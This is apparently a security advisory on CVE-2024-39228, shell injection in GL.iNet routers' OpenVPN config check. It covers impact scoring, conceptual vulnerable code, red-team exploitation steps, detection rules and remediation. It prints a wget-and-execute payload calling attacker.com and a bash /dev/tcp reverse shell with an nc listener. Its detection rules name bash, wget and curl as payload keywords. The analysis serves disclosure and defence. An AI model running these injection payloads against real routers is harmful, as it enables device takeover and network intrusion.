CVE-2024-39228

Executive Summary

CVE-2024-39228 is a critical shell injection vulnerability affecting multiple GL.iNet router models. The flaw resides in the check_ovpn_client_config and check_config interfaces, allowing an authenticated attacker to inject arbitrary operating system commands. Given the router's role as a network gateway, successful exploitation can lead to full device compromise, lateral movement within the network, and persistent access. The vendor has not released a patch, and no public proof-of-concept (PoC) or exploit code is currently available. This vulnerability poses a significant risk to users of the affected devices, particularly in sensitive or enterprise environments.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerable interface is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Authentication is required, but the attacker can be a low-privileged user.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file system access is possible.
• Integrity (I): High (H) – Arbitrary commands can be executed.
• Availability (A): High (H) – Device can be rendered inoperable.

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical. The combination of network accessibility, low complexity, and high impact makes this a high-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78). The check_ovpn_client_config and check_config interfaces are used to validate OpenVPN client configuration files. The application fails to properly sanitize user-supplied input before passing it to a system shell for execution.

Root Cause: The application likely uses a function like system(), exec(), or popen() in C/C++ or a shell command in a script (e.g., os.system() in Python) to process the configuration file. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) within the configuration file content or parameters, leading to arbitrary command execution.

Attack Vector:

1. Authentication: The attacker must have valid credentials to the router's web interface or API.
2. Injection Point: The check_ovpn_client_config or check_config endpoint.
3. Payload Delivery: The attacker crafts a malicious OpenVPN configuration file or modifies a parameter to include shell commands.
4. Execution: The router processes the input, and the injected commands are executed with the privileges of the web server (typically root).

Example Payload (Conceptual):

remote 192.168.1.1
port 1194
proto udp
dev tun
ca ca.crt
cert client.crt
key client.key
; id; /bin/bash -c 'wget http://attacker.com/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh'

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, a secure implementation would:

• Avoid shell execution: Use native libraries or APIs to parse configuration files.
• Input sanitization: Strictly validate and sanitize all input, rejecting any shell metacharacters.
• Parameterization: Use parameterized commands or APIs that separate code from data.

Vulnerable Code (Conceptual C):

void check_ovpn_client_config(char *config) {
    char cmd[1024];
    snprintf(cmd, sizeof(cmd), "openvpn --config %s", config);
    system(cmd); // Vulnerable to injection
}

Patched Code (Conceptual C):

void check_ovpn_client_config(char *config) {
    // Use a library to parse the config, not a shell command
    // Or use execve() with a safe argument list
    char *args[] = {"/usr/sbin/openvpn", "--config", config, NULL};
    execve(args[0], args, NULL); // Safer, but still requires sanitization of config path
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A GL.iNet router (e.g., AR750) with firmware v4.3.11.
2. Attacker: Kali Linux machine on the same network.
3. Tools: Burp Suite, netcat, Metasploit (for post-exploitation).

Exploitation Steps:

1. Authenticate: Log in to the router's web interface (e.g., http://192.168.1.1).
2. Intercept Request: Use Burp Suite to intercept the request to /cgi-bin/check_ovpn_client_config.
3. Craft Payload: Modify the config parameter to include a reverse shell command:

   config=; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' &
   

4. Send Request: Forward the modified request.
5. Receive Shell: On the attacker machine, start a netcat listener:

   nc -lvnp 4444
   

6. Post-Exploitation: Once the shell is obtained, escalate privileges (if needed), establish persistence, and pivot.

Blue Team (Defensive)

Detection & Response:

1. Monitor Logs: Check router logs for unusual command execution or failed authentication attempts.
2. Network Monitoring: Look for outbound connections to unknown IPs on unusual ports (e.g., 4444).
3. File Integrity: Monitor for changes to system binaries or the creation of new files in /tmp.
4. Honeypot: Deploy a honeypot router to capture exploitation attempts.

Mitigation Steps:

1. Isolate: If possible, isolate the affected routers from critical network segments.
2. Restrict Access: Limit administrative access to trusted IPs only.
3. Disable Services: If not needed, disable the OpenVPN configuration check feature.
4. Monitor for Patches: Regularly check GL.iNet's website for firmware updates.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to IPs not in the organization's allowlist.
  • Unusual traffic on ports 4444, 31337, or other high-numbered ports.
  • HTTP requests to /cgi-bin/check_ovpn_client_config with suspicious parameters.
• Host IOCs:
  • Presence of files in /tmp with names like shell.sh, exploit, or backdoor.
  • Unusual processes running as root (e.g., /bin/bash -c).
  • Modified system binaries (e.g., /usr/sbin/openvpn).
• Log IOCs:
  • Log entries containing shell metacharacters (;, |, &&).
  • Repeated failed login attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule GLiNet_Shell_Injection_CVE_2024_39228 {
    meta:
        description = "Detects shell injection attempts targeting GL.iNet routers"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-39228"
    strings:
        $injection1 = /check_ovpn_client_config.*[;&|`$]/
        $injection2 = /check_config.*[;&|`$]/
        $payload1 = "/bin/bash"
        $payload2 = "wget"
        $payload3 = "curl"
    condition:
        any of ($injection*) and any of ($payload*)
}

Sigma Rule

title: GL.iNet Shell Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential shell injection attempts against GL.iNet routers
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/cgi-bin/check_ovpn_client_config'
            - '/cgi-bin/check_config'
        c-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in configuration files (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"GL.iNet Shell Injection Attempt (CVE-2024-39228)";
    flow:to_server,established;
    content:"/cgi-bin/check_ovpn_client_config"; http_uri;
    content:";"; http_client_body;
    content:"/bin/bash"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Vulnerable Interfaces: If the OpenVPN configuration check feature is not essential, disable it via the router's web interface or CLI.
2. Restrict Network Access: Use firewall rules to limit access to the router's management interface to trusted IPs only.
3. Change Default Credentials: Ensure strong, unique passwords are used for all administrative accounts.

Long-Term Solutions:

1. Vendor Patch: Monitor GL.iNet's official website and forums for a firmware update. Apply it immediately when available.
2. Firmware Replacement: Consider replacing the affected routers with devices from vendors with a strong security track record.
3. Network Segmentation: Place routers in a separate VLAN with strict access controls.

Workarounds:

• Web Application Firewall (WAF): Deploy a WAF in front of the router to filter malicious requests.
• Intrusion Prevention System (IPS): Use an IPS to block known shell injection patterns.

Valters IT